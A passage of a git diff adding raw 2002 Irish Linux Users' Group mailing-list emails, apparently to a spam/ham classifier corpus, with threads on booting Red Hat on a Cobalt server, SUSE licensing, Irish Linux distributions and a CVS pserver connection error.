(8.9.3/8.9.3) with ESMTP id DAA19593 for ; + Tue, 13 Aug 2002 03:15:14 +0100 +Received: from fogarty.jakma.org (fogarty.jakma.org [192.168.0.4]) by + hibernia.jakma.org (8.11.6/8.11.6) with ESMTP id g7D2Muw02998; + Tue, 13 Aug 2002 03:22:56 +0100 +Received: from localhost (paul@localhost) by fogarty.jakma.org + (8.11.6/8.11.6) with ESMTP id g7D2Msl14530; Tue, 13 Aug 2002 03:22:54 + +0100 +X-Authentication-Warning: fogarty.jakma.org: paul owned process doing -bs +Date: Tue, 13 Aug 2002 03:22:54 +0100 (IST) +From: Paul Jakma +X-X-Sender: paul@fogarty.jakma.org +To: wintermute +Cc: ilug@linux.ie +Subject: Re: [ILUG] SUSE 8 disks? (thread changed slightly) +In-Reply-To: <200208122348.AAA13536@lugh.tuatha.org> +Message-Id: +X-Nsa: iraq saddam hammas hisballah rabin ayatollah korea vietnam revolt + mustard gas +X-Dumb-Filters: aryan marijuiana cocaine heroin hardcore cum pussy porn + teen tit sex lesbian group +MIME-Version: 1.0 +Content-Type: TEXT/PLAIN; charset=US-ASCII +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +On Tue, 13 Aug 2002, wintermute wrote: + +> There are as far as I know, no Linux kernel hackers, nor distros +> that originate from this fair island right? Right. + +there are at least 3 irish kernel hackers (active/inactive) on this +list. + +regards, +-- +Paul Jakma paul@clubi.ie paul@jakma.org Key ID: 64A2FF6A + warning: do not ever send email to spam@dishone.st +Fortune: +Let the people think they govern and they will be governed. + -- William Penn, founder of Pennsylvania + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00366.dbcbb86a02dae7dfdcac15453b740ea7 b/bayes/spamham/easy_ham_2/00366.dbcbb86a02dae7dfdcac15453b740ea7 new file mode 100644 index 0000000..fd8a8ce --- /dev/null +++ b/bayes/spamham/easy_ham_2/00366.dbcbb86a02dae7dfdcac15453b740ea7 @@ -0,0 +1,100 @@ +From ilug-admin@linux.ie Tue Aug 13 10:29:27 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 6BA4F4412D + for ; Tue, 13 Aug 2002 05:21:59 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 13 Aug 2002 10:21:59 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7D5wQb19159 for + ; Tue, 13 Aug 2002 06:58:26 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id GAA27326; Tue, 13 Aug 2002 06:57:37 +0100 +Received: from puma.dub0.ie.cp.net ([62.17.137.250]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id GAA27284 for ; Tue, + 13 Aug 2002 06:57:29 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host [62.17.137.250] claimed to + be puma.dub0.ie.cp.net +Received: from localhost.localdomain (10.40.2.34) by puma.dub0.ie.cp.net + (6.7.009) id 3D4AB188000093C9 for ilug@linux.ie; Tue, 13 Aug 2002 06:56:58 + +0100 +Subject: Re: [ILUG] RH7.3 on Cobalt - the saga continues +From: Anders Holm +To: ilug@linux.ie +In-Reply-To: <20020812164951.GB1858@jinny.ie> +References: <20020812164951.GB1858@jinny.ie> +Content-Type: text/plain +Content-Transfer-Encoding: 7bit +X-Mailer: Ximian Evolution 1.0.5 +Date: 13 Aug 2002 06:54:28 +0100 +Message-Id: <1029218068.4889.9.camel@aholm> +MIME-Version: 1.0 +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +John, + +let me guess, you haven't tried the boot parameter root=/dev/hda2 if you +are using lilo?? + +//Anders// + +On Mon, 2002-08-12 at 17:49, John P. Looney wrote: +> I'm getting places. +> +> Turns out that you can't have your /boot filesystem ext3, and the +> /boot/vmlinux.gz file has to be a gzipped vmlinux file (not a vmlinuz one, +> which though obvious...isn't, when you've been hitting your head off a +> wall for a few days). +> +> Also, when you mkfs a filesystem that's called "/boot", as far as the +> redhat /etc/fstab is concerned, it wipes that, so when you boot a rescue +> CD, it doesn't mount /dev/hda1 as /boot, and doesn't inform you of this. +> +> (so, it's dead easy to work away on /mnt/sysimage/boot thinking you are +> working on /dev/hda1, and wondering why no matter what you do, nothing +> changes). +> +> Aaaaanyway. I have it booting the redhat kernel. But, the kernel isn't +> loading root as /dev/hda2 - it keeps mounting /dev/hda1. +> +> Curiously, when I go into the boot prom, an use +> +> "set_params" I can tell it to mount /dev/hda2 as root. But then it uses +> the PROM copy of the kernel (dodgy 2.2.16 kernel), which doesn't know +> ext3, so wants to fsck up my disk. +> +> rdev on the vmlinux file, before gzipping doesn't work. I assume you +> can't run rdev on the gzipped version. Any other ideas on how to tell a +> kernel where it's root fs is ? +> +> Kate +> +> +> -- +> Irish Linux Users' Group: ilug@linux.ie +> http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +> List maintainer: listmaster@linux.ie +-- +Best Regards +Anders Holm +Critical Path Technical Support Engineer +======================================== +Tel USA/Canada: 1 800 353 8437 +Tel Worldwide: +1 801 736 0806 +E-mail: technical.support@cp.net +Internet: http://support.cp.net + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00367.21cd901fe062cc31ae50bc6901688424 b/bayes/spamham/easy_ham_2/00367.21cd901fe062cc31ae50bc6901688424 new file mode 100644 index 0000000..225c34c --- /dev/null +++ b/bayes/spamham/easy_ham_2/00367.21cd901fe062cc31ae50bc6901688424 @@ -0,0 +1,76 @@ +From ilug-admin@linux.ie Tue Aug 13 10:29:32 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 0327E4412F + for ; Tue, 13 Aug 2002 05:22:02 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 13 Aug 2002 10:22:02 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7D7lCb21870 for + ; Tue, 13 Aug 2002 08:47:12 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id IAA31172; Tue, 13 Aug 2002 08:46:44 +0100 +Received: from homer.jinny.ie ([193.120.171.3]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id IAA31150 for ; Tue, + 13 Aug 2002 08:46:38 +0100 +Received: from jlooney.jinny.ie (fw [193.120.171.2]) by homer.jinny.ie + (8.9.3/8.11.2) with ESMTP id IAA04605 for ; Tue, + 13 Aug 2002 08:46:08 +0100 +Received: (from john@localhost) by jlooney.jinny.ie (8.11.6/8.11.6) id + g7D7kMM04946 for ilug@linux.ie; Tue, 13 Aug 2002 08:46:22 +0100 +X-Authentication-Warning: jlooney.jinny.ie: john set sender to + jlooney@jinny.ie using -f +Date: Tue, 13 Aug 2002 08:46:22 +0100 +From: "John P. Looney" +To: ilug@linux.ie +Subject: Re: [ILUG] RH7.3 on Cobalt - the saga continues +Message-Id: <20020813074622.GE1858@jinny.ie> +Reply-To: ilug@linux.ie +Mail-Followup-To: ilug@linux.ie +References: <20020812164951.GB1858@jinny.ie> <1029218068.4889.9.camel@aholm> +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +In-Reply-To: <1029218068.4889.9.camel@aholm> +User-Agent: Mutt/1.4i +X-Os: Red Hat Linux 7.3/Linux 2.4.18-3 +X-Url: http://www.redbrick.dcu.ie/~valen +X-Gnupg-Publickey: http://www.redbrick.dcu.ie/~valen/public.asc +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +On Tue, Aug 13, 2002 at 06:54:28AM +0100, Anders Holm mentioned: +> let me guess, you haven't tried the boot parameter root=/dev/hda2 if you +> are using lilo?? + + Ah, you see - cobalt's don't use lilo. They have an openboot-like prom +that looks in an ext2 partition in /dev/hda1 for a file called +/boot/vmlinux.gz - nothing else. + + The only way I think you can set parameters is with a "set_params" line. + + However, when I run + set_params root=/dev/hda2 + and then run: + bfd /boot/vmlinux.gz + + It boots the old kernel, I assume from the prom. It seems to do this, if +something goes wrong - no error, just boots the default kernel. + + BTW, 'bfd' means 'boot from disk'. + +Kate + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00368.14f8d5646b587bafc764ec859ed5c37e b/bayes/spamham/easy_ham_2/00368.14f8d5646b587bafc764ec859ed5c37e new file mode 100644 index 0000000..28a523b --- /dev/null +++ b/bayes/spamham/easy_ham_2/00368.14f8d5646b587bafc764ec859ed5c37e @@ -0,0 +1,76 @@ +From ilug-admin@linux.ie Tue Aug 13 10:29:32 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id C81874412E + for ; Tue, 13 Aug 2002 05:22:00 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 13 Aug 2002 10:22:00 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7D7eFb21770 for + ; Tue, 13 Aug 2002 08:40:15 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id IAA30692; Tue, 13 Aug 2002 08:39:09 +0100 +Received: from homer.jinny.ie ([193.120.171.3]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id IAA30656 for ; Tue, + 13 Aug 2002 08:39:03 +0100 +Received: from jlooney.jinny.ie (fw [193.120.171.2]) by homer.jinny.ie + (8.9.3/8.11.2) with ESMTP id IAA04143 for ; Tue, + 13 Aug 2002 08:38:33 +0100 +Received: (from john@localhost) by jlooney.jinny.ie (8.11.6/8.11.6) id + g7D7cl204288 for ilug@linux.ie; Tue, 13 Aug 2002 08:38:47 +0100 +X-Authentication-Warning: jlooney.jinny.ie: john set sender to + jlooney@jinny.ie using -f +Date: Tue, 13 Aug 2002 08:38:47 +0100 +From: "John P. Looney" +To: ilug@linux.ie +Subject: Re: [ILUG] SUSE 8 disks? (thread changed slightly) +Message-Id: <20020813073847.GD1858@jinny.ie> +Reply-To: ilug@linux.ie +Mail-Followup-To: ilug@linux.ie +References: <20020812204603.GK25331@linuxmafia.com> + <20020812234021.17803.qmail@web13901.mail.yahoo.com> +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +In-Reply-To: <20020812234021.17803.qmail@web13901.mail.yahoo.com> +User-Agent: Mutt/1.4i +X-Os: Red Hat Linux 7.3/Linux 2.4.18-3 +X-Url: http://www.redbrick.dcu.ie/~valen +X-Gnupg-Publickey: http://www.redbrick.dcu.ie/~valen/public.asc +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +On Tue, Aug 13, 2002 at 01:40:21AM +0200, Paul Linehan mentioned: +> And, as I've tried to explain, is not the licence +> terms on, say, trials for commercial company x +> to which I object, it is the way SuSE appears, +> at least to my I.T. peasant self, to have +> mixed up proprietary and open stuff. + + Indeed. Personally, I think it's the sort of reprehensible behavior that +split Unix way-back-when into the mess it was in a few years back, before +Linux...got rid of most of them. + + Vendors wrote their own wierd-ass installers & config tools to lock +people to their OS, they added all sorts of functionality that was not +availible to other OSes to make themselves different from the competition +(Motif on non-free OSes, incompatible filesystems etc). + + While a good idea when you share code & standards, in an environment +where you do neither, the user suffers. + +Kate + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00369.9287d82618728e82ca293fe856ad1098 b/bayes/spamham/easy_ham_2/00369.9287d82618728e82ca293fe856ad1098 new file mode 100644 index 0000000..f906b9a --- /dev/null +++ b/bayes/spamham/easy_ham_2/00369.9287d82618728e82ca293fe856ad1098 @@ -0,0 +1,72 @@ +From ilug-admin@linux.ie Tue Aug 13 10:29:38 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 5113E43C45 + for ; Tue, 13 Aug 2002 05:22:03 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 13 Aug 2002 10:22:03 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7D7nqb22036 for + ; Tue, 13 Aug 2002 08:49:52 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id IAA31329; Tue, 13 Aug 2002 08:49:17 +0100 +Received: from homer.jinny.ie ([193.120.171.3]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id IAA31305 for ; Tue, + 13 Aug 2002 08:49:11 +0100 +Received: from jlooney.jinny.ie (fw [193.120.171.2]) by homer.jinny.ie + (8.9.3/8.11.2) with ESMTP id IAA04741 for ; Tue, + 13 Aug 2002 08:48:41 +0100 +Received: (from john@localhost) by jlooney.jinny.ie (8.11.6/8.11.6) id + g7D7mtv05052 for ilug@linux.ie; Tue, 13 Aug 2002 08:48:55 +0100 +X-Authentication-Warning: jlooney.jinny.ie: john set sender to + jlooney@jinny.ie using -f +Date: Tue, 13 Aug 2002 08:48:55 +0100 +From: "John P. Looney" +To: ilug@linux.ie +Subject: Re: [ILUG] SUSE 8 disks? (thread changed slightly) +Message-Id: <20020813074855.GF1858@jinny.ie> +Reply-To: ilug@linux.ie +Mail-Followup-To: ilug@linux.ie +References: <200208122348.AAA13536@lugh.tuatha.org> +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +In-Reply-To: <200208122348.AAA13536@lugh.tuatha.org> +User-Agent: Mutt/1.4i +X-Os: Red Hat Linux 7.3/Linux 2.4.18-3 +X-Url: http://www.redbrick.dcu.ie/~valen +X-Gnupg-Publickey: http://www.redbrick.dcu.ie/~valen/public.asc +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +On Tue, Aug 13, 2002 at 12:48:18AM +0100, wintermute mentioned: +> How unimaginably difficult is this to do? There are as far as I know, +> no Linux kernel hackers, nor distros that originate from this fair +> island right? Right. + + Antefacto Embedded Linux...did. + + Nice little distro that'd run on a 64MB flash card (with 12MB free), with +a read-only root filesystem. Perfect for little embedded systems. It was a +very cut down version of RedHat 7.2. + + Must see can we release the build system & everything. That was the +interesting bit. Distros, in general, are a waste of time. You've no idea +how much better something like Debian or RedHat could be than something +you did yourself, unless you picked a niche area. + +Kate + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00370.65240cb1d838553639998a0e4b0d0e6d b/bayes/spamham/easy_ham_2/00370.65240cb1d838553639998a0e4b0d0e6d new file mode 100644 index 0000000..734c38e --- /dev/null +++ b/bayes/spamham/easy_ham_2/00370.65240cb1d838553639998a0e4b0d0e6d @@ -0,0 +1,73 @@ +From ilug-admin@linux.ie Tue Aug 13 10:29:38 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 8A78544130 + for ; Tue, 13 Aug 2002 05:22:04 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 13 Aug 2002 10:22:04 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7D83eb22404 for + ; Tue, 13 Aug 2002 09:03:40 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id JAA31898; Tue, 13 Aug 2002 09:03:06 +0100 +Received: from ie.suberic.net (owsla.ie.suberic.net [62.17.162.83]) by + lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id JAA31862 for ; + Tue, 13 Aug 2002 09:02:59 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host owsla.ie.suberic.net + [62.17.162.83] claimed to be ie.suberic.net +Received: from germain.ie.suberic.net (germain.g.dev.ie.alphyra.com + [192.168.7.200]) by ie.suberic.net (8.11.6/8.11.6) with ESMTP id + g7D82wY26805 for ; Tue, 13 Aug 2002 09:02:58 +0100 +Received: from germain.ie.suberic.net (germain [127.0.0.1]) by + germain.ie.suberic.net (8.11.6/8.11.6) with ESMTP id g7D82wA29830 for + ; Tue, 13 Aug 2002 09:02:58 +0100 +Date: Tue, 13 Aug 2002 09:02:53 +0100 +To: irish linux users group +Subject: Re: [ILUG] SUSE 8 disks? (thread changed slightly) +Message-Id: <20020813090253.A29805@ie.suberic.net> +References: <200208122348.AAA13536@lugh.tuatha.org> +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +User-Agent: Mutt/1.2.5.1i +In-Reply-To: <200208122348.AAA13536@lugh.tuatha.org>; from cout@eircom.net + on Tue, Aug 13, 2002 at 12:48:18AM +0100 +X-Operating-System: Linux 2.4.18-5 i686 +X-GPG-Fingerprint: 9C1D 16F4 11F1 6BD2 933C 048D ACC7 9840 89D0 7646 +From: kevin lyda +Mail-Followup-To: kevin+dated+1029657778.1331e2@ie.suberic.net, + ilug@linux.ie +X-Delivery-Agent: TMDA/0.57 +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +On Tue, Aug 13, 2002 at 12:48:18AM +0100, wintermute wrote: +> How unimaginably difficult is this to do? +> There are as far as I know, no Linux kernel hackers, nor distros that originate from this fair island right? +> Right. + +i think there's a mailing list on linux.ie for this. + +also, there's niall's work on the bbc. no, not that bbc, the bootable +business card. + +kevin + +-- +kevin@suberic.net that a believer is happier than a skeptic is no more to +fork()'ed on 37058400 the point than the fact that a drunken man is happier +meatspace place: home than a sober one. the happiness of credulity is a +http://ie.suberic.net/~kevin cheap & dangerous quality -- g.b. shaw + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00371.b2b589e6e9a51ac02bf1c6544232e68f b/bayes/spamham/easy_ham_2/00371.b2b589e6e9a51ac02bf1c6544232e68f new file mode 100644 index 0000000..49af562 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00371.b2b589e6e9a51ac02bf1c6544232e68f @@ -0,0 +1,102 @@ +From ilug-admin@linux.ie Tue Aug 13 10:29:44 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id B92F744131 + for ; Tue, 13 Aug 2002 05:22:05 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 13 Aug 2002 10:22:05 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7D8agb23313 for + ; Tue, 13 Aug 2002 09:36:42 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id JAA00835; Tue, 13 Aug 2002 09:35:58 +0100 +Received: from smtpout.xelector.com ([62.17.160.131]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id JAA00802 for ; Tue, + 13 Aug 2002 09:35:52 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host [62.17.160.131] claimed to + be smtpout.xelector.com +Received: from [172.18.80.234] (helo=xeljreilly) by smtpout.xelector.com + with smtp (Exim 3.34 #2) id 17eWwo-0007CP-00; Tue, 13 Aug 2002 09:22:38 + +0100 +Message-Id: <001f01c242a3$c8c2d770$ea5012ac@xelector.com> +From: "John Reilly" +To: , "Ilug@Linux.Ie" +References: +Subject: Re: [ILUG] CVS question +Date: Tue, 13 Aug 2002 09:31:13 +0100 +MIME-Version: 1.0 +Content-Type: text/plain; charset="iso-8859-1" +Content-Transfer-Encoding: 7bit +X-Priority: 3 +X-Msmail-Priority: Normal +X-Mailer: Microsoft Outlook Express 5.00.2919.6600 +X-Mimeole: Produced By Microsoft MimeOLE V5.00.2919.6600 +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +Assuming cvspserver is actually running (try "netstat -na | grep 2401" to +see if its there), make sure you have firewalling turned off or you have +added a rule for it. + + + + +> Hi, I'm setting up a CVS server on a RedHat 7.* box. First time. +> +> When I try to log in via telnet with an account that is in the "cvs" group +> and run +> +> cvs login +> password: xxxxx +> +> I get +> +> cvs [login aborted]: connect to localhost:2401 failed: Connection refused +> +> +> > chkconfig --list returns +> +> xinetd based services: +> linuxconf-web: off +> swat: on +> telnet: on +> cvspserver: on +> +> As a cvs user +> +> [cvsdev1@localhost cvsdev1]$ echo $CVSROOT +> :pserver:cvsdev1@localhost:/home/cvsroot/repository +> +> [cvsdev1@localhost cvsdev1]$ ls -la /home/cvsroot/repository/ +> total 12 +> drwxrws--- 3 cvs cvs 4096 Aug 12 11:26 . +> drwxrwx--- 7 cvs cvs 4096 Aug 12 11:26 .. +> drwxrwsr-x 3 cvs cvs 4096 Aug 12 11:26 CVSROOT +> [cvsdev1@localhost cvsdev1]$ +> +> +> +> Where should I start looking? +> +> Thanks Justin +> +> +> -- +> Irish Linux Users' Group: ilug@linux.ie +> http://www.linux.ie/mailman/listinfo/ilug for (un)subscription +information. +> List maintainer: listmaster@linux.ie + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00372.9d66c7a266e9ed8ef38f5045ab56038e b/bayes/spamham/easy_ham_2/00372.9d66c7a266e9ed8ef38f5045ab56038e new file mode 100644 index 0000000..5b270f6 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00372.9d66c7a266e9ed8ef38f5045ab56038e @@ -0,0 +1,59 @@ +From ilug-admin@linux.ie Tue Aug 13 10:29:44 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 0296E43C46 + for ; Tue, 13 Aug 2002 05:22:07 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 13 Aug 2002 10:22:07 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7D8mOb23643 for + ; Tue, 13 Aug 2002 09:48:24 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id JAA01403; Tue, 13 Aug 2002 09:46:28 +0100 +Received: from w2k-server.bcs.ie ([195.218.97.197]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id JAA01365 for ; Tue, + 13 Aug 2002 09:46:22 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host [195.218.97.197] claimed + to be w2k-server.bcs.ie +Received: by w2k-server.bcs.ie with Internet Mail Service (5.5.2653.19) id + ; Tue, 13 Aug 2002 09:48:54 +0100 +Message-Id: <214A52C16E44D51186FB00508BB83E0F7C0D66@w2k-server.bcs.ie> +From: "Damian O' Sullivan" +To: "'Anders Holm'" , + "Damian O' Sullivan" , + "'Albert White - SUN Ireland'" , + ilug@linux.ie +Subject: RE: [ILUG] Sparc Solaris (was: Dell GX260 V Redhat 7.3) +Date: Tue, 13 Aug 2002 09:48:48 +0100 +MIME-Version: 1.0 +X-Mailer: Internet Mail Service (5.5.2653.19) +Content-Type: text/plain +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +Was the Ultra 5 the sunray server? What images did you serve to the sunrays +to boot them over tftp/dhcp? + + +> +> Hi Damian. +> +> SuSe has a Sparc version I previously been running on a Sun +> Ultra 5 at +> least. Worked fine, albeit a bit slow... ;) +> +> //Anders +> + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00373.200f7c89b525052d3672c00ede99e9e5 b/bayes/spamham/easy_ham_2/00373.200f7c89b525052d3672c00ede99e9e5 new file mode 100644 index 0000000..69a3b35 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00373.200f7c89b525052d3672c00ede99e9e5 @@ -0,0 +1,50 @@ +From ilug-admin@linux.ie Tue Aug 13 10:29:50 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 67FAC44132 + for ; Tue, 13 Aug 2002 05:22:08 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 13 Aug 2002 10:22:08 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7D8qIb23941 for + ; Tue, 13 Aug 2002 09:52:18 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id JAA01745; Tue, 13 Aug 2002 09:51:47 +0100 +Received: from w2k-server.bcs.ie ([195.218.97.197]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id JAA01718 for ; Tue, + 13 Aug 2002 09:51:40 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host [195.218.97.197] claimed + to be w2k-server.bcs.ie +Received: by w2k-server.bcs.ie with Internet Mail Service (5.5.2653.19) id + ; Tue, 13 Aug 2002 09:54:05 +0100 +Message-Id: <214A52C16E44D51186FB00508BB83E0F7C0D67@w2k-server.bcs.ie> +From: "Damian O' Sullivan" +To: "'ilug@linux.ie'" +Subject: RE: [ILUG] RH7.3 on Cobalt - the saga continues +Date: Tue, 13 Aug 2002 09:53:55 +0100 +MIME-Version: 1.0 +X-Mailer: Internet Mail Service (5.5.2653.19) +Content-Type: text/plain +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +> Curiously, when I go into the boot prom, an use +> +> "set_params" I can tell it to mount /dev/hda2 as root. But +> then it uses the PROM copy of the kernel (dodgy 2.2.16 +> kernel), which doesn't know ext3, so wants to fsck up my disk. + +Boot prom on a cobalt? Is this an old mips based one? How did you get to it? + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00374.957837ba252b473057711e3c4dbd1e26 b/bayes/spamham/easy_ham_2/00374.957837ba252b473057711e3c4dbd1e26 new file mode 100644 index 0000000..355c5ae --- /dev/null +++ b/bayes/spamham/easy_ham_2/00374.957837ba252b473057711e3c4dbd1e26 @@ -0,0 +1,127 @@ +From ilug-admin@linux.ie Tue Aug 13 10:29:50 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id BA17043C4A + for ; Tue, 13 Aug 2002 05:22:11 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP 